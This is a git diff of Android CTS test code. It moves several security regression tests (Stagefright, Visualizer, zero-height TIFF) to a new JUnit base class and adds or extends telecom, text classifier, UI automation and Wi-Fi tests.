@RunWith(AndroidJUnit4.class) -public class StagefrightTest { +public class StagefrightTest extends StsExtraBusinessLogicTestCase { static final String TAG = "StagefrightTest"; - private Instrumentation mInstrumentation; private final long TIMEOUT_NS = 10000000000L; // 10 seconds. private final static long CHECK_INTERVAL = 50; @Rule public TestName name = new TestName(); - @Before - public void setup() { - mInstrumentation = InstrumentationRegistry.getInstrumentation(); - } - class CodecConfig { boolean isAudio; /* Video Parameters - valid only when isAudio is false */ @@ -3264,8 +3259,4 @@ public class StagefrightTest { assertFalse(hung); } - - private Instrumentation getInstrumentation() { - return mInstrumentation; - } } diff --git a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java index 3be7534774a..945d1190f20 100644 --- a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java +++ b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java @@ -22,22 +22,25 @@ import android.platform.test.annotations.AsbSecurityTest; import android.media.audiofx.AudioEffect; import android.media.MediaPlayer; import android.media.audiofx.Visualizer; -import android.test.AndroidTestCase; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import android.util.Log; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.UUID; +import static org.junit.Assert.*; -public class VisualizerEffectTest extends AndroidTestCase { +import androidx.test.runner.AndroidJUnit4; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(AndroidJUnit4.class) +public class VisualizerEffectTest extends StsExtraBusinessLogicTestCase { private String TAG = "VisualizerEffectTest"; - @Override - protected void setUp() throws Exception { - super.setUp(); - } //Testing security bug: 30229821 + @Test @AsbSecurityTest(cveBugId = 30229821) public void testVisualizer_MalformedConstructor() throws Exception { final String VISUALIZER_TYPE = "e46b26a0-dddd-11db-8afd-0002a5d5c51b"; @@ -80,4 +83,4 @@ public class VisualizerEffectTest extends AndroidTestCase { Log.w(TAG,"No visualizer found to test"); } } -}
\ No newline at end of file +} diff --git a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java index 5cc4fe5e183..af28a547ce8 100644 --- a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java +++ b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java @@ -19,22 +19,30 @@ package android.security.cts; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.platform.test.annotations.AsbSecurityTest; -import android.test.AndroidTestCase; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import java.io.InputStream; import android.security.cts.R; -public class ZeroHeightTiffTest extends AndroidTestCase { +import static org.junit.Assert.*; + +import androidx.test.runner.AndroidJUnit4; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(AndroidJUnit4.class) +public class ZeroHeightTiffTest extends StsExtraBusinessLogicTestCase { /** * Verifies that the device fails to decode a zero height tiff file. * * Prior to fixing bug 33300701, decoding resulted in undefined behavior (divide by zero). * With the fix, decoding will fail, without dividing by zero. */ + @Test @AsbSecurityTest(cveBugId = 33300701) public void test_android_bug_33300701() { - InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33300701); + InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_33300701); Bitmap bitmap = BitmapFactory.decodeStream(exploitImage); assertNull(bitmap); } diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml index 96a07b36904..1b1d48ea3a1 100644 --- a/tests/tests/telecom/AndroidManifest.xml +++ b/tests/tests/telecom/AndroidManifest.xml @@ -79,6 +79,14 @@ </intent-filter> </service> + <service android:name="android.telecom.cts.NullBindingConnectionService" + android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE" + android:exported="true"> + <intent-filter> + <action android:name="android.telecom.ConnectionService"/> + </intent-filter> + </service> + <service android:name="android.telecom.cts.MockInCallService" android:permission="android.permission.BIND_INCALL_SERVICE" android:exported="true"> diff --git a/tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java b/tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java new file mode 100644 index 00000000000..1debb7a6d4b --- /dev/null +++ b/tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java @@ -0,0 +1,49 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.telecom.cts; + +import android.app.Service; +import android.content.Intent; +import android.os.IBinder; + +import java.util.concurrent.CountDownLatch; + +/** + * A minimal {@link Service} implementation intended to test cases where a {@link ConnectionService} + * tries to return a null binding. + */ +public class NullBindingConnectionService extends Service { + public static CountDownLatch sBindLatch = new CountDownLatch(1); + public static CountDownLatch sUnbindLatch = new CountDownLatch(1); + + public NullBindingConnectionService() { + } + + @Override + public IBinder onBind(Intent intent) { + sBindLatch.countDown(); + sUnbindLatch = new CountDownLatch(1); + return null; + } + + @Override + public boolean onUnbind(Intent intent) { + sUnbindLatch.countDown(); + sBindLatch = new CountDownLatch(1); + return false; + } +} diff --git a/tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java b/tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java new file mode 100644 index 00000000000..611eeaba66e --- /dev/null +++ b/tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java @@ -0,0 +1,84 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.telecom.cts; + +import android.content.ComponentName; +import android.net.Uri; +import android.os.Bundle; +import android.telecom.PhoneAccount; +import android.telecom.PhoneAccountHandle; +import android.telecom.TelecomManager; + +/** + * CTS tests to ensure that a ConnectionService which returns a null binding will be automatically + * unbound. + */ + +public class NullBindingTest extends BaseTelecomTestWithMockServices { + private static final PhoneAccountHandle TEST_NULL_BINDING_HANDLE = + new PhoneAccountHandle(new ComponentName("android.telecom.cts", + "android.telecom.cts.NullBindingConnectionService"), + "1"); + + public static final PhoneAccount TEST_NULL_BINDING_ACCOUNT = PhoneAccount.builder( + TEST_NULL_BINDING_HANDLE, "Null") + .setAddress(Uri.parse("sip:test@test.com")) + .setCapabilities(PhoneAccount.CAPABILITY_SELF_MANAGED) + .addSupportedUriScheme(PhoneAccount.SCHEME_SIP) + .build(); + + private static final Uri TEST_ADDRESS_1 = Uri.fromParts("sip", "call1@test.com", null); + + @Override + protected void setUp() throws Exception { + super.setUp(); + mContext = getInstrumentation().getContext(); + if (mShouldTestTelecom) { + mTelecomManager.registerPhoneAccount(TEST_NULL_BINDING_ACCOUNT); + } + } + + @Override + protected void tearDown() throws Exception { + super.tearDown(); + if (mShouldTestTelecom) { + mTelecomManager.unregisterPhoneAccount(TEST_NULL_BINDING_HANDLE); + } + } + + /** + * Ensures that when we bind to a ConnectionService which returns a null binding that the + * ConnectionService is unbound automatically. + */ + public void testNullBinding() { + if (!mShouldTestTelecom) { + return; + } + + // Place a call using the null binding connection service. + Bundle extras = new Bundle(); + extras.putParcelable(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE, TEST_NULL_BINDING_HANDLE); + mTelecomManager.placeCall(TEST_ADDRESS_1, extras); + + // Ensure it bound and then unbound. + assertTrue(TestUtils.waitForLatchCountDown(NullBindingConnectionService.sBindLatch)); + assertTrue(TestUtils.waitForLatchCountDown(NullBindingConnectionService.sUnbindLatch)); + + // Ensure there is no call present in Telecom + assertFalse(mTelecomManager.isInCall()); + } +} diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/SelectionEventTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/SelectionEventTest.java index 72550c46bd4..d86ffb1215f 100644 --- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/SelectionEventTest.java +++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/SelectionEventTest.java @@ -16,6 +16,11 @@ package android.view.textclassifier.cts; +import static com.google.common.truth.Truth.assertThat; + +import android.view.textclassifier.SelectionEvent; +import android.view.textclassifier.TextClassifier; + import androidx.test.filters.SmallTest; import androidx.test.runner.AndroidJUnit4; @@ -27,7 +32,23 @@ import org.junit.runner.RunWith; public class SelectionEventTest { @Test - public void testSelectionEvent_placeholder() { - // TODO: add tests for SelectionEvent + public void testSelectionEvent() { + SelectionEvent event = SelectionEvent.createSelectionActionEvent(0, 1, + SelectionEvent.ACTION_COPY); + assertThat(event.getEventType()).isEqualTo(SelectionEvent.ACTION_COPY); + assertThat(event.getStart()).isEqualTo(0); + assertThat(event.getEnd()).isEqualTo(0); + assertThat(event.getInvocationMethod()).isEqualTo(SelectionEvent.INVOCATION_UNKNOWN); + assertThat(event.getEntityType()).isEqualTo(TextClassifier.TYPE_UNKNOWN); + assertThat(event.getEventIndex()).isEqualTo(0); + assertThat(event.getPackageName()).isEqualTo(""); + assertThat(event.getSmartStart()).isEqualTo(0); + assertThat(event.getSmartEnd()).isEqualTo(0); + assertThat(event.getWidgetType()).isEqualTo(TextClassifier.WIDGET_TYPE_UNKNOWN); + assertThat(event.getWidgetVersion()).isNull(); + assertThat(event.getResultId()).isEqualTo(""); + assertThat(event.getEventTime()).isEqualTo(0); + assertThat(event.getDurationSinceSessionStart()).isEqualTo(0); + assertThat(event.getDurationSincePreviousEvent()).isEqualTo(0); } } diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextLinksTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextLinksTest.java index 1414ed7e327..3592c9605f5 100644 --- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextLinksTest.java +++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextLinksTest.java @@ -231,6 +231,7 @@ public class TextLinksTest { assertNull(request.getDefaultLocales()); assertTrue(request.getExtras().isEmpty()); assertNull(request.getEntityConfig()); + assertNull(request.getCallingPackageName()); } @Test @@ -253,6 +254,7 @@ public class TextLinksTest { TextClassifier.HINT_TEXT_IS_EDITABLE, request.getEntityConfig().getHints().iterator().next()); assertEquals(referenceTime, request.getReferenceTime()); + assertNull(request.getCallingPackageName()); } } diff --git a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestFirstActivity.java b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestFirstActivity.java index 839a2903190..7f175637126 100644 --- a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestFirstActivity.java +++ b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestFirstActivity.java @@ -31,6 +31,7 @@ public class UiAutomationTestFirstActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); + overridePendingTransition(android.R.anim.fade_in, android.R.anim.fade_out); setContentView(R.layout.ui_automation_test); getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON diff --git a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestSecondActivity.java b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestSecondActivity.java index 4ba0f743ce1..5a0b6d86153 100644 --- a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestSecondActivity.java +++ b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestSecondActivity.java @@ -30,6 +30,7 @@ public class UiAutomationTestSecondActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); + overridePendingTransition(android.R.anim.fade_in, android.R.anim.fade_out); setContentView(R.layout.ui_automation_test); getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON diff --git a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java index 71300513612..88457caaa9b 100644 --- a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java +++ b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java @@ -259,7 +259,9 @@ public class MultiStaConcurrencyWifiNetworkSpecifierTest extends WifiJUnit4TestB * Tests the concurrent connection flow. * 1. Connect to a network using peer to peer API. * 2. Connect to a network using internet connectivity API. - * 3. Verify that both connections are active. + * 3. Verify that both connections are active only the network for peer-to-peer and network + * for internet have different SSIDs. If they have the same SSID, verify there's exactly one + * connection. */ @Test public void testConnectToInternetNetworkWhenConnectedToPeerPeerNetwork() throws Exception { @@ -275,7 +277,9 @@ public class MultiStaConcurrencyWifiNetworkSpecifierTest extends WifiJUnit4TestB mTestNetworkForInternetConnection); // Ensure that there are 2 wifi connections available for apps. - assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(2); + assertThat(mTestHelper.getNumWifiConnections()).isEqualTo( + mTestNetworkForPeerToPeer.SSID.equals(mTestNetworkForInternetConnection.SSID) + ? 1 : 2); } /** diff --git a/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java b/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java index 98ab11db9fb..c845138b0aa 100644 --- a/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java +++ b/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java @@ -146,7 +146,7 @@ public class TestHelper { wifiManager.unregisterScanResultsCallback(scanResultsCallback); } List<ScanResult> scanResults = wifiManager.getScanResults(); - if (scanResults == null || scanResults.isEmpty()) fail("No scan results available"); + if (scanResults == null || scanResults.isEmpty()) continue; for (ScanResult scanResult : scanResults) { WifiConfiguration matchingNetwork = savedNetworks.stream() .filter(network -> TextUtils.equals( |